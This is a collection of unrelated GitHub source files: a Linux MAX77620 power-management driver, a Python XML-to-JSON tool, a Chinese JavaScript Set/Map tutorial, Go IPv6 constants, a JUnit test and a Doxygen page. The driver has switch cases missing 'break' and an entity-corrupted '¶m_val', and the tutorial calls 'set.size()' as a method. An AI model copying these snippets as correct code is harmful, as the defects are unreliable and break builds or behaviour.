PeiMultiBoardInitSupportLib.c
PeiBoardInitLib.c
[Guids]
gBoardDetectGuid
gBoardPreMemInitGuid
gBoardPostMemInitGuid
gBoardNotificationInitGuid
[Pcd]
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.13"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title>OpenMesh: OpenMesh/Core/IO/importer Directory Reference</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="navtree.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="resize.js"></script>
<script type="text/javascript" src="navtreedata.js"></script>
<script type="text/javascript" src="navtree.js"></script>
<script type="text/javascript">
$(document).ready(initResizable);
</script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/searchdata.js"></script>
<script type="text/javascript" src="search/search.js"></script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
<link href="logo_align.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td id="projectlogo"><img alt="Logo" src="rwth_vci_rgb.jpg"/></td>
<td id="projectalign" style="padding-left: 0.5em;">
<div id="projectname">OpenMesh
</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.13 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Search');
</script>
<script type="text/javascript" src="menudata.js"></script>
<script type="text/javascript" src="menu.js"></script>
<script type="text/javascript">
$(function() {
initMenu('',true,false,'search.php','Search');
$(document).ready(function() { init_search(); });
});
</script>
<div id="main-nav"></div>
</div><!-- top -->
<div id="side-nav" class="ui-resizable side-nav-resizable">
<div id="nav-tree">
<div id="nav-tree-contents">
<div id="nav-sync" class="sync"></div>
</div>
</div>
<div id="splitbar" style="-moz-user-select:none;"
class="ui-resizable-handle">
</div>
</div>
<script type="text/javascript">
$(document).ready(function(){initNavTree('dir_597714d32dfa686908dce7b4776ad969.html','');});
</script>
<div id="doc-content">
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
</div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div class="header">
<div class="headertitle">
<div class="title">importer Directory Reference</div> </div>
</div><!--header-->
<div class="contents">
<div class="dynheader">
Directory dependency graph for importer:</div>
<div class="dyncontent">
<div class="center"><img src="dir_597714d32dfa686908dce7b4776ad969_dep.png" border="0" usemap="#dir__597714d32dfa686908dce7b4776ad969__dep" alt="OpenMesh/Core/IO/importer"/></div>
<map name="dir__597714d32dfa686908dce7b4776ad969__dep" id="dir__597714d32dfa686908dce7b4776ad969__dep">
<area shape="rect" id="node1" href="dir_597714d32dfa686908dce7b4776ad969.html" title="importer" alt="" coords="41,52,113,100"/>
<area shape="rect" id="node2" href="dir_7477301876e1ee42543ae0d668800e48.html" title="Mesh" alt="" coords="5,148,77,196"/>
<area shape="rect" id="edge2-headlabel" href="dir_000043_000046.html" title="1" alt="" coords="61,127,69,141"/>
<area shape="rect" id="node3" href="dir_e752be804545bd6e4da017eb8c880246.html" title="System" alt="" coords="41,244,113,292"/>
<area shape="rect" id="edge3-headlabel" href="dir_000043_000052.html" title="1" alt="" coords="90,220,98,235"/>
<area shape="rect" id="edge1-headlabel" href="dir_000046_000052.html" title="2" alt="" coords="66,217,74,231"/>
<area shape="rect" id="clust1" href="dir_d2053a9e19fa213bdf1df30eeeafc6b7.html" title="IO" alt="" coords="31,16,124,111"/>
</map>
</div>
</div><!-- contents -->
</div><!-- doc-content -->
<hr>
<address>
<small>
<a href="http://www.rwth-graphics.de" style="text-decoration:none;">
</a>
Project <b>OpenMesh</b>,
© Computer Graphics Group, RWTH Aachen.
Documentation generated using
<a class="el" href="http://www.doxygen.org/index.html">
<b>doxygen</b>
</a>.
</small>
</address>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
<key>com.apple.security.network.client</key>
<true/>
</dict>
</plist>
|
{
"pile_set_name": "Github"
}
|
package org.gradle.example.simple;
import org.gradle.example.simple.Person;
import org.junit.Test;
import static org.junit.Assert.*;
public class TestPerson417 {
@Test
public void testPerson() {
Person p = new Person();
p.setAge(20);
p.setName("Fird Birfle");
p.setSalary(195750.22);
assertEquals(215325.242, p.calculateBonus(), 0.01);
assertEquals("The Honorable Fird Birfle", p.becomeJudge());
assertEquals(30, p.timeWarp());
p.wasteTime();
}
}
|
{
"pile_set_name": "Github"
}
|
/*
* Maxim MAX77620 MFD Driver
*
* Copyright (C) 2016 NVIDIA CORPORATION. All rights reserved.
*
* Author:
* Laxman Dewangan <[email protected]>
* Chaitanya Bandi <[email protected]>
* Mallikarjun Kasoju <[email protected]>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
/****************** Teminology used in driver ********************
* Here are some terminology used from datasheet for quick reference:
* Flexible Power Sequence (FPS):
* The Flexible Power Sequencer (FPS) allows each regulator to power up under
* hardware or software control. Additionally, each regulator can power on
* independently or among a group of other regulators with an adjustable
* power-up and power-down delays (sequencing). GPIO1, GPIO2, and GPIO3 can
* be programmed to be part of a sequence allowing external regulators to be
* sequenced along with internal regulators. 32KHz clock can be programmed to
* be part of a sequence.
* There is 3 FPS confguration registers and all resources are configured to
* any of these FPS or no FPS.
*/
#include <linux/i2c.h>
#include <linux/interrupt.h>
#include <linux/mfd/core.h>
#include <linux/mfd/max77620.h>
#include <linux/module.h>
#include <linux/of.h>
#include <linux/of_device.h>
#include <linux/regmap.h>
#include <linux/slab.h>
static struct resource gpio_resources[] = {
DEFINE_RES_IRQ(MAX77620_IRQ_TOP_GPIO),
};
static struct resource power_resources[] = {
DEFINE_RES_IRQ(MAX77620_IRQ_LBT_MBATLOW),
};
static struct resource rtc_resources[] = {
DEFINE_RES_IRQ(MAX77620_IRQ_TOP_RTC),
};
static struct resource thermal_resources[] = {
DEFINE_RES_IRQ(MAX77620_IRQ_LBT_TJALRM1),
DEFINE_RES_IRQ(MAX77620_IRQ_LBT_TJALRM2),
};
static const struct regmap_irq max77620_top_irqs[] = {
REGMAP_IRQ_REG(MAX77620_IRQ_TOP_GLBL, 0, MAX77620_IRQ_TOP_GLBL_MASK),
REGMAP_IRQ_REG(MAX77620_IRQ_TOP_SD, 0, MAX77620_IRQ_TOP_SD_MASK),
REGMAP_IRQ_REG(MAX77620_IRQ_TOP_LDO, 0, MAX77620_IRQ_TOP_LDO_MASK),
REGMAP_IRQ_REG(MAX77620_IRQ_TOP_GPIO, 0, MAX77620_IRQ_TOP_GPIO_MASK),
REGMAP_IRQ_REG(MAX77620_IRQ_TOP_RTC, 0, MAX77620_IRQ_TOP_RTC_MASK),
REGMAP_IRQ_REG(MAX77620_IRQ_TOP_32K, 0, MAX77620_IRQ_TOP_32K_MASK),
REGMAP_IRQ_REG(MAX77620_IRQ_TOP_ONOFF, 0, MAX77620_IRQ_TOP_ONOFF_MASK),
REGMAP_IRQ_REG(MAX77620_IRQ_LBT_MBATLOW, 1, MAX77620_IRQ_LBM_MASK),
REGMAP_IRQ_REG(MAX77620_IRQ_LBT_TJALRM1, 1, MAX77620_IRQ_TJALRM1_MASK),
REGMAP_IRQ_REG(MAX77620_IRQ_LBT_TJALRM2, 1, MAX77620_IRQ_TJALRM2_MASK),
};
static const struct mfd_cell max77620_children[] = {
{ .name = "max77620-pinctrl", },
{ .name = "max77620-clock", },
{ .name = "max77620-pmic", },
{ .name = "max77620-watchdog", },
{
.name = "max77620-gpio",
.resources = gpio_resources,
.num_resources = ARRAY_SIZE(gpio_resources),
}, {
.name = "max77620-rtc",
.resources = rtc_resources,
.num_resources = ARRAY_SIZE(rtc_resources),
}, {
.name = "max77620-power",
.resources = power_resources,
.num_resources = ARRAY_SIZE(power_resources),
}, {
.name = "max77620-thermal",
.resources = thermal_resources,
.num_resources = ARRAY_SIZE(thermal_resources),
},
};
static const struct mfd_cell max20024_children[] = {
{ .name = "max20024-pinctrl", },
{ .name = "max77620-clock", },
{ .name = "max20024-pmic", },
{ .name = "max77620-watchdog", },
{
.name = "max77620-gpio",
.resources = gpio_resources,
.num_resources = ARRAY_SIZE(gpio_resources),
}, {
.name = "max77620-rtc",
.resources = rtc_resources,
.num_resources = ARRAY_SIZE(rtc_resources),
}, {
.name = "max20024-power",
.resources = power_resources,
.num_resources = ARRAY_SIZE(power_resources),
},
};
static struct regmap_irq_chip max77620_top_irq_chip = {
.name = "max77620-top",
.irqs = max77620_top_irqs,
.num_irqs = ARRAY_SIZE(max77620_top_irqs),
.num_regs = 2,
.status_base = MAX77620_REG_IRQTOP,
.mask_base = MAX77620_REG_IRQTOPM,
};
static const struct regmap_range max77620_readable_ranges[] = {
regmap_reg_range(MAX77620_REG_CNFGGLBL1, MAX77620_REG_DVSSD4),
};
static const struct regmap_access_table max77620_readable_table = {
.yes_ranges = max77620_readable_ranges,
.n_yes_ranges = ARRAY_SIZE(max77620_readable_ranges),
};
static const struct regmap_range max20024_readable_ranges[] = {
regmap_reg_range(MAX77620_REG_CNFGGLBL1, MAX77620_REG_DVSSD4),
regmap_reg_range(MAX20024_REG_MAX_ADD, MAX20024_REG_MAX_ADD),
};
static const struct regmap_access_table max20024_readable_table = {
.yes_ranges = max20024_readable_ranges,
.n_yes_ranges = ARRAY_SIZE(max20024_readable_ranges),
};
static const struct regmap_range max77620_writable_ranges[] = {
regmap_reg_range(MAX77620_REG_CNFGGLBL1, MAX77620_REG_DVSSD4),
};
static const struct regmap_access_table max77620_writable_table = {
.yes_ranges = max77620_writable_ranges,
.n_yes_ranges = ARRAY_SIZE(max77620_writable_ranges),
};
static const struct regmap_range max77620_cacheable_ranges[] = {
regmap_reg_range(MAX77620_REG_SD0_CFG, MAX77620_REG_LDO_CFG3),
regmap_reg_range(MAX77620_REG_FPS_CFG0, MAX77620_REG_FPS_SD3),
};
static const struct regmap_access_table max77620_volatile_table = {
.no_ranges = max77620_cacheable_ranges,
.n_no_ranges = ARRAY_SIZE(max77620_cacheable_ranges),
};
static const struct regmap_config max77620_regmap_config = {
.name = "power-slave",
.reg_bits = 8,
.val_bits = 8,
.max_register = MAX77620_REG_DVSSD4 + 1,
.cache_type = REGCACHE_RBTREE,
.rd_table = &max77620_readable_table,
.wr_table = &max77620_writable_table,
.volatile_table = &max77620_volatile_table,
};
static const struct regmap_config max20024_regmap_config = {
.name = "power-slave",
.reg_bits = 8,
.val_bits = 8,
.max_register = MAX20024_REG_MAX_ADD + 1,
.cache_type = REGCACHE_RBTREE,
.rd_table = &max20024_readable_table,
.wr_table = &max77620_writable_table,
.volatile_table = &max77620_volatile_table,
};
/* max77620_get_fps_period_reg_value: Get FPS bit field value from
* requested periods.
* MAX77620 supports the FPS period of 40, 80, 160, 320, 540, 1280, 2560
* and 5120 microseconds. MAX20024 supports the FPS period of 20, 40, 80,
* 160, 320, 540, 1280 and 2560 microseconds.
* The FPS register has 3 bits field to set the FPS period as
* bits max77620 max20024
* 000 40 20
* 001 80 40
* :::
*/
static int max77620_get_fps_period_reg_value(struct max77620_chip *chip,
int tperiod)
{
int fps_min_period;
int i;
switch (chip->chip_id) {
case MAX20024:
fps_min_period = MAX20024_FPS_PERIOD_MIN_US;
break;
case MAX77620:
fps_min_period = MAX77620_FPS_PERIOD_MIN_US;
default:
return -EINVAL;
}
for (i = 0; i < 7; i++) {
if (fps_min_period >= tperiod)
return i;
fps_min_period *= 2;
}
return i;
}
/* max77620_config_fps: Configure FPS configuration registers
* based on platform specific information.
*/
static int max77620_config_fps(struct max77620_chip *chip,
struct device_node *fps_np)
{
struct device *dev = chip->dev;
unsigned int mask = 0, config = 0;
u32 fps_max_period;
u32 param_val;
int tperiod, fps_id;
int ret;
char fps_name[10];
switch (chip->chip_id) {
case MAX20024:
fps_max_period = MAX20024_FPS_PERIOD_MAX_US;
break;
case MAX77620:
fps_max_period = MAX77620_FPS_PERIOD_MAX_US;
default:
return -EINVAL;
}
for (fps_id = 0; fps_id < MAX77620_FPS_COUNT; fps_id++) {
sprintf(fps_name, "fps%d", fps_id);
if (!strcmp(fps_np->name, fps_name))
break;
}
if (fps_id == MAX77620_FPS_COUNT) {
dev_err(dev, "FPS node name %s is not valid\n", fps_np->name);
return -EINVAL;
}
ret = of_property_read_u32(fps_np, "maxim,shutdown-fps-time-period-us",
¶m_val);
if (!ret) {
mask |= MAX77620_FPS_TIME_PERIOD_MASK;
chip->shutdown_fps_period[fps_id] = min(param_val,
fps_max_period);
tperiod = max77620_get_fps_period_reg_value(chip,
chip->shutdown_fps_period[fps_id]);
config |= tperiod << MAX77620_FPS_TIME_PERIOD_SHIFT;
}
ret = of_property_read_u32(fps_np, "maxim,suspend-fps-time-period-us",
¶m_val);
if (!ret)
chip->suspend_fps_period[fps_id] = min(param_val,
fps_max_period);
ret = of_property_read_u32(fps_np, "maxim,fps-event-source",
¶m_val);
if (!ret) {
if (param_val > 2) {
dev_err(dev, "FPS%d event-source invalid\n", fps_id);
return -EINVAL;
}
mask |= MAX77620_FPS_EN_SRC_MASK;
config |= param_val << MAX77620_FPS_EN_SRC_SHIFT;
if (param_val == 2) {
mask |= MAX77620_FPS_ENFPS_SW_MASK;
config |= MAX77620_FPS_ENFPS_SW;
}
}
if (!chip->sleep_enable && !chip->enable_global_lpm) {
ret = of_property_read_u32(fps_np,
"maxim,device-state-on-disabled-event",
¶m_val);
if (!ret) {
if (param_val == 0)
chip->sleep_enable = true;
else if (param_val == 1)
chip->enable_global_lpm = true;
}
}
ret = regmap_update_bits(chip->rmap, MAX77620_REG_FPS_CFG0 + fps_id,
mask, config);
if (ret < 0) {
dev_err(dev, "Failed to update FPS CFG: %d\n", ret);
return ret;
}
return 0;
}
static int max77620_initialise_fps(struct max77620_chip *chip)
{
struct device *dev = chip->dev;
struct device_node *fps_np, *fps_child;
u8 config;
int fps_id;
int ret;
for (fps_id = 0; fps_id < MAX77620_FPS_COUNT; fps_id++) {
chip->shutdown_fps_period[fps_id] = -1;
chip->suspend_fps_period[fps_id] = -1;
}
fps_np = of_get_child_by_name(dev->of_node, "fps");
if (!fps_np)
goto skip_fps;
for_each_child_of_node(fps_np, fps_child) {
ret = max77620_config_fps(chip, fps_child);
if (ret < 0)
return ret;
}
config = chip->enable_global_lpm ? MAX77620_ONOFFCNFG2_SLP_LPM_MSK : 0;
ret = regmap_update_bits(chip->rmap, MAX77620_REG_ONOFFCNFG2,
MAX77620_ONOFFCNFG2_SLP_LPM_MSK, config);
if (ret < 0) {
dev_err(dev, "Failed to update SLP_LPM: %d\n", ret);
return ret;
}
skip_fps:
/* Enable wake on EN0 pin */
ret = regmap_update_bits(chip->rmap, MAX77620_REG_ONOFFCNFG2,
MAX77620_ONOFFCNFG2_WK_EN0,
MAX77620_ONOFFCNFG2_WK_EN0);
if (ret < 0) {
dev_err(dev, "Failed to update WK_EN0: %d\n", ret);
return ret;
}
/* For MAX20024, SLPEN will be POR reset if CLRSE is b11 */
if ((chip->chip_id == MAX20024) && chip->sleep_enable) {
config = MAX77620_ONOFFCNFG1_SLPEN | MAX20024_ONOFFCNFG1_CLRSE;
ret = regmap_update_bits(chip->rmap, MAX77620_REG_ONOFFCNFG1,
config, config);
if (ret < 0) {
dev_err(dev, "Failed to update SLPEN: %d\n", ret);
return ret;
}
}
return 0;
}
static int max77620_read_es_version(struct max77620_chip *chip)
{
unsigned int val;
u8 cid_val[6];
int i;
int ret;
for (i = MAX77620_REG_CID0; i <= MAX77620_REG_CID5; i++) {
ret = regmap_read(chip->rmap, i, &val);
if (ret < 0) {
dev_err(chip->dev, "Failed to read CID: %d\n", ret);
return ret;
}
dev_dbg(chip->dev, "CID%d: 0x%02x\n",
i - MAX77620_REG_CID0, val);
cid_val[i - MAX77620_REG_CID0] = val;
}
/* CID4 is OTP Version and CID5 is ES version */
dev_info(chip->dev, "PMIC Version OTP:0x%02X and ES:0x%X\n",
cid_val[4], MAX77620_CID5_DIDM(cid_val[5]));
return ret;
}
static int max77620_probe(struct i2c_client *client,
const struct i2c_device_id *id)
{
const struct regmap_config *rmap_config;
struct max77620_chip *chip;
const struct mfd_cell *mfd_cells;
int n_mfd_cells;
int ret;
chip = devm_kzalloc(&client->dev, sizeof(*chip), GFP_KERNEL);
if (!chip)
return -ENOMEM;
i2c_set_clientdata(client, chip);
chip->dev = &client->dev;
chip->irq_base = -1;
chip->chip_irq = client->irq;
chip->chip_id = (enum max77620_chip_id)id->driver_data;
switch (chip->chip_id) {
case MAX77620:
mfd_cells = max77620_children;
n_mfd_cells = ARRAY_SIZE(max77620_children);
rmap_config = &max77620_regmap_config;
break;
case MAX20024:
mfd_cells = max20024_children;
n_mfd_cells = ARRAY_SIZE(max20024_children);
rmap_config = &max20024_regmap_config;
break;
default:
dev_err(chip->dev, "ChipID is invalid %d\n", chip->chip_id);
return -EINVAL;
}
chip->rmap = devm_regmap_init_i2c(client, rmap_config);
if (IS_ERR(chip->rmap)) {
ret = PTR_ERR(chip->rmap);
dev_err(chip->dev, "Failed to intialise regmap: %d\n", ret);
return ret;
}
ret = max77620_read_es_version(chip);
if (ret < 0)
return ret;
ret = devm_regmap_add_irq_chip(chip->dev, chip->rmap, client->irq,
IRQF_ONESHOT | IRQF_SHARED,
chip->irq_base, &max77620_top_irq_chip,
&chip->top_irq_data);
if (ret < 0) {
dev_err(chip->dev, "Failed to add regmap irq: %d\n", ret);
return ret;
}
ret = max77620_initialise_fps(chip);
if (ret < 0)
return ret;
ret = devm_mfd_add_devices(chip->dev, PLATFORM_DEVID_NONE,
mfd_cells, n_mfd_cells, NULL, 0,
regmap_irq_get_domain(chip->top_irq_data));
if (ret < 0) {
dev_err(chip->dev, "Failed to add MFD children: %d\n", ret);
return ret;
}
return 0;
}
#ifdef CONFIG_PM_SLEEP
static int max77620_set_fps_period(struct max77620_chip *chip,
int fps_id, int time_period)
{
int period = max77620_get_fps_period_reg_value(chip, time_period);
int ret;
ret = regmap_update_bits(chip->rmap, MAX77620_REG_FPS_CFG0 + fps_id,
MAX77620_FPS_TIME_PERIOD_MASK,
period << MAX77620_FPS_TIME_PERIOD_SHIFT);
if (ret < 0) {
dev_err(chip->dev, "Failed to update FPS period: %d\n", ret);
return ret;
}
return 0;
}
static int max77620_i2c_suspend(struct device *dev)
{
struct max77620_chip *chip = dev_get_drvdata(dev);
struct i2c_client *client = to_i2c_client(dev);
unsigned int config;
int fps;
int ret;
for (fps = 0; fps < MAX77620_FPS_COUNT; fps++) {
if (chip->suspend_fps_period[fps] < 0)
continue;
ret = max77620_set_fps_period(chip, fps,
chip->suspend_fps_period[fps]);
if (ret < 0)
return ret;
}
/*
* For MAX20024: No need to configure SLPEN on suspend as
* it will be configured on Init.
*/
if (chip->chip_id == MAX20024)
goto out;
config = (chip->sleep_enable) ? MAX77620_ONOFFCNFG1_SLPEN : 0;
ret = regmap_update_bits(chip->rmap, MAX77620_REG_ONOFFCNFG1,
MAX77620_ONOFFCNFG1_SLPEN,
config);
if (ret < 0) {
dev_err(dev, "Failed to configure sleep in suspend: %d\n", ret);
return ret;
}
/* Disable WK_EN0 */
ret = regmap_update_bits(chip->rmap, MAX77620_REG_ONOFFCNFG2,
MAX77620_ONOFFCNFG2_WK_EN0, 0);
if (ret < 0) {
dev_err(dev, "Failed to configure WK_EN in suspend: %d\n", ret);
return ret;
}
out:
disable_irq(client->irq);
return 0;
}
static int max77620_i2c_resume(struct device *dev)
{
struct max77620_chip *chip = dev_get_drvdata(dev);
struct i2c_client *client = to_i2c_client(dev);
int ret;
int fps;
for (fps = 0; fps < MAX77620_FPS_COUNT; fps++) {
if (chip->shutdown_fps_period[fps] < 0)
continue;
ret = max77620_set_fps_period(chip, fps,
chip->shutdown_fps_period[fps]);
if (ret < 0)
return ret;
}
/*
* For MAX20024: No need to configure WKEN0 on resume as
* it is configured on Init.
*/
if (chip->chip_id == MAX20024)
goto out;
/* Enable WK_EN0 */
ret = regmap_update_bits(chip->rmap, MAX77620_REG_ONOFFCNFG2,
MAX77620_ONOFFCNFG2_WK_EN0,
MAX77620_ONOFFCNFG2_WK_EN0);
if (ret < 0) {
dev_err(dev, "Failed to configure WK_EN0 n resume: %d\n", ret);
return ret;
}
out:
enable_irq(client->irq);
return 0;
}
#endif
static const struct i2c_device_id max77620_id[] = {
{"max77620", MAX77620},
{"max20024", MAX20024},
{},
};
MODULE_DEVICE_TABLE(i2c, max77620_id);
static const struct dev_pm_ops max77620_pm_ops = {
SET_SYSTEM_SLEEP_PM_OPS(max77620_i2c_suspend, max77620_i2c_resume)
};
static struct i2c_driver max77620_driver = {
.driver = {
.name = "max77620",
.pm = &max77620_pm_ops,
},
.probe = max77620_probe,
.id_table = max77620_id,
};
module_i2c_driver(max77620_driver);
MODULE_DESCRIPTION("MAX77620/MAX20024 Multi Function Device Core Driver");
MODULE_AUTHOR("Laxman Dewangan <[email protected]>");
MODULE_AUTHOR("Chaitanya Bandi <[email protected]>");
MODULE_AUTHOR("Mallikarjun Kasoju <[email protected]>");
MODULE_LICENSE("GPL v2");
|
{
"pile_set_name": "Github"
}
|
#!/usr/bin/env python
# vim:ts=4:sts=4:sw=4:et
#
# Author: Hari Sekhon
# Date: 2016-01-15 00:07:09 +0000 (Fri, 15 Jan 2016)
#
# https://github.com/harisekhon/devops-python-tools
#
# License: see accompanying Hari Sekhon LICENSE file
#
# If you're using my code you're welcome to connect with me on LinkedIn and optionally send me feedback
# to help improve or steer this or other code I publish
#
# http://www.linkedin.com/in/harisekhon
#
"""
Tool to convert XML to JSON
Reads any given files as XML and prints the equivalent JSON to stdout for piping or redirecting to a file.
Directories if given are detected and recursed, processing all files in the directory tree ending in a .xml suffix.
Works like a standard unix filter program - if no files are passed as arguments or '-' is passed then reads from
standard input.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
#from __future__ import unicode_literals
import json
import os
import re
import sys
import xml
import xmltodict
libdir = os.path.abspath(os.path.join(os.path.dirname(__file__), 'pylib'))
sys.path.append(libdir)
try:
# pylint: disable=wrong-import-position
from harisekhon.utils import die, ERRORS, log, log_option
from harisekhon import CLI
except ImportError as _:
print('module import failed: %s' % _, file=sys.stderr)
print("Did you remember to build the project by running 'make'?", file=sys.stderr)
print("Alternatively perhaps you tried to copy this program out without it's adjacent libraries?", file=sys.stderr)
sys.exit(4)
__author__ = 'Hari Sekhon'
__version__ = '0.2.0'
class XmlToJson(CLI):
def __init__(self):
# Python 2.x
super(XmlToJson, self).__init__()
# Python 3.x
# super().__init__()
self.indent = None
self.re_xml_suffix = re.compile(r'.*\.xml$', re.I)
def add_options(self):
self.add_opt('-p', '--pretty', action='store_true', help='Pretty Print the resulting JSON')
def xml_to_json(self, content, filepath=None):
try:
_ = xmltodict.parse(content)
except xml.parsers.expat.ExpatError as _:
file_detail = ''
if filepath is not None:
file_detail = ' in file \'{0}\''.format(filepath)
die("Failed to parse XML{0}: {1}".format(file_detail, _))
json_string = json.dumps(_, sort_keys=True, indent=self.indent) #, separators=(',', ': '))
return json_string
def run(self):
if self.get_opt('pretty'):
log_option('pretty', True)
self.indent = 4
if not self.args:
self.args.append('-')
for arg in self.args:
if arg == '-':
continue
if not os.path.exists(arg):
print("'%s' not found" % arg)
sys.exit(ERRORS['WARNING'])
if os.path.isfile(arg):
log_option('file', arg)
elif os.path.isdir(arg):
log_option('directory', arg)
else:
die("path '%s' could not be determined as either a file or directory" % arg)
for arg in self.args:
self.process_path(arg)
def process_path(self, path):
if path == '-' or os.path.isfile(path):
self.process_file(path)
elif os.path.isdir(path):
for root, _, files in os.walk(path):
for filename in files:
filepath = os.path.join(root, filename)
if self.re_xml_suffix.match(filepath):
self.process_file(filepath)
else:
die("failed to determine if path '%s' is a file or directory" % path)
def process_file(self, filepath):
log.debug('processing filepath \'%s\'', filepath)
if filepath == '-':
filepath = '<STDIN>'
if filepath == '<STDIN>':
print(self.xml_to_json(sys.stdin.read()))
else:
with open(filepath) as _:
content = _.read()
print(self.xml_to_json(content, filepath=filepath))
if __name__ == '__main__':
XmlToJson().main()
|
{
"pile_set_name": "Github"
}
|
### 简介
多数主流编程语言都提供了若干种复杂数据结构,而在ES6以前,js只有数组和对象两种
ES6为了弥补这一方面的不足,引入了四种新的数据结构
它们分别是:映射(`Map`)、集合(`Set`)、弱集合(`WeakSet`)和弱映射(`WeakMap`)
### 正文
Set类似数组,但是成员的值都是唯一的,没有重复的值
```javascript
let set = new Set([1, 2, 3, 3])
console.log(set)
// Set(3) {1, 2, 3}
[...set]
// [1, 2, 3]
```
我们可以通过给Set构造函数传入一个数组来创建一个set,数组中的重复值被自动删除
set常用的方法不多,常见的有以下几种
- `add(value)`:添加某个值,返回Set结构本身
- `delete(value)`:删除某个值,返回一个布尔值,表示删除是否成功
- `has(value)`:返回一个布尔值,表示该值是否为`Set`的成员
- `clear()`:清除所有成员,没有返回值
另外,`set`通过`size`属性拿到内部成员的个数,而不是数组的`length`
```javascript
let set = new Set()
set.add(1).add(2).add(2)
set.size // 2
set.delete(2)
set.has(2) // false
set.clear()
set.size() // 0
```
数组的forEach方法也可以用来遍历set,用法相同这里不再叙述
Map类似二维数组,是键值对的集合,但是书写方式稍微有不同
```javascript
let map = new Map([
['a', '1'],
['b', '2']
])
console.log(map)
// Map(2) {"a" => "1", "b" => "2"}
```
与Set相同,Map也用size属性表示内部有多少个键值对
但是从Map中新增,获取值使用set,get方法,其他的has,delete方法与Set相同
```javascript
let m = new Map()
let o = {p: 'Hello World'}
m.set(o, 'content')
m.get(o) // "content"
m.has(o) // true
m.delete(o) // true
m.has(o) // false
```
对比js对象的优势是,Map可以使用任意值作为键值,包括对象(上面代码中的o)
`WeakSet`与`WeakMap`不常用,顾名思义,可以理解为更弱的Set和Map,功能少,而且容易被垃圾回收(内存消耗低)
### 思考
**这部分内容希望你都可以手动敲一遍,独立思考**
使用Set写一个数组去重的方法
接受一个数组参数,并返回一个没有重复值的原数组
---
```javascript
let set = new Set()
let a = NaN
let b = NaN
let c = {}
let d = {}
set.add(a).add(b).add(c).add(d)
```
此时set.size应该输出几?试着解释为什么会是这个结果
---
- [上一章:正则](regexp.md)
- [下一章:Symbol](symbol.md)
|
{
"pile_set_name": "Github"
}
|
// Created by cgo -godefs - DO NOT EDIT
// cgo -godefs defs_linux.go
package ipv6
const (
sysIPV6_ADDRFORM = 0x1
sysIPV6_2292PKTINFO = 0x2
sysIPV6_2292HOPOPTS = 0x3
sysIPV6_2292DSTOPTS = 0x4
sysIPV6_2292RTHDR = 0x5
sysIPV6_2292PKTOPTIONS = 0x6
sysIPV6_CHECKSUM = 0x7
sysIPV6_2292HOPLIMIT = 0x8
sysIPV6_NEXTHOP = 0x9
sysIPV6_FLOWINFO = 0xb
sysIPV6_UNICAST_HOPS = 0x10
sysIPV6_MULTICAST_IF = 0x11
sysIPV6_MULTICAST_HOPS = 0x12
sysIPV6_MULTICAST_LOOP = 0x13
sysIPV6_ADD_MEMBERSHIP = 0x14
sysIPV6_DROP_MEMBERSHIP = 0x15
sysMCAST_JOIN_GROUP = 0x2a
sysMCAST_LEAVE_GROUP = 0x2d
sysMCAST_JOIN_SOURCE_GROUP = 0x2e
sysMCAST_LEAVE_SOURCE_GROUP = 0x2f
sysMCAST_BLOCK_SOURCE = 0x2b
sysMCAST_UNBLOCK_SOURCE = 0x2c
sysMCAST_MSFILTER = 0x30
sysIPV6_ROUTER_ALERT = 0x16
sysIPV6_MTU_DISCOVER = 0x17
sysIPV6_MTU = 0x18
sysIPV6_RECVERR = 0x19
sysIPV6_V6ONLY = 0x1a
sysIPV6_JOIN_ANYCAST = 0x1b
sysIPV6_LEAVE_ANYCAST = 0x1c
sysIPV6_FLOWLABEL_MGR = 0x20
sysIPV6_FLOWINFO_SEND = 0x21
sysIPV6_IPSEC_POLICY = 0x22
sysIPV6_XFRM_POLICY = 0x23
sysIPV6_RECVPKTINFO = 0x31
sysIPV6_PKTINFO = 0x32
sysIPV6_RECVHOPLIMIT = 0x33
sysIPV6_HOPLIMIT = 0x34
sysIPV6_RECVHOPOPTS = 0x35
sysIPV6_HOPOPTS = 0x36
sysIPV6_RTHDRDSTOPTS = 0x37
sysIPV6_RECVRTHDR = 0x38
sysIPV6_RTHDR = 0x39
sysIPV6_RECVDSTOPTS = 0x3a
sysIPV6_DSTOPTS = 0x3b
sysIPV6_RECVPATHMTU = 0x3c
sysIPV6_PATHMTU = 0x3d
sysIPV6_DONTFRAG = 0x3e
sysIPV6_RECVTCLASS = 0x42
sysIPV6_TCLASS = 0x43
sysIPV6_ADDR_PREFERENCES = 0x48
sysIPV6_PREFER_SRC_TMP = 0x1
sysIPV6_PREFER_SRC_PUBLIC = 0x2
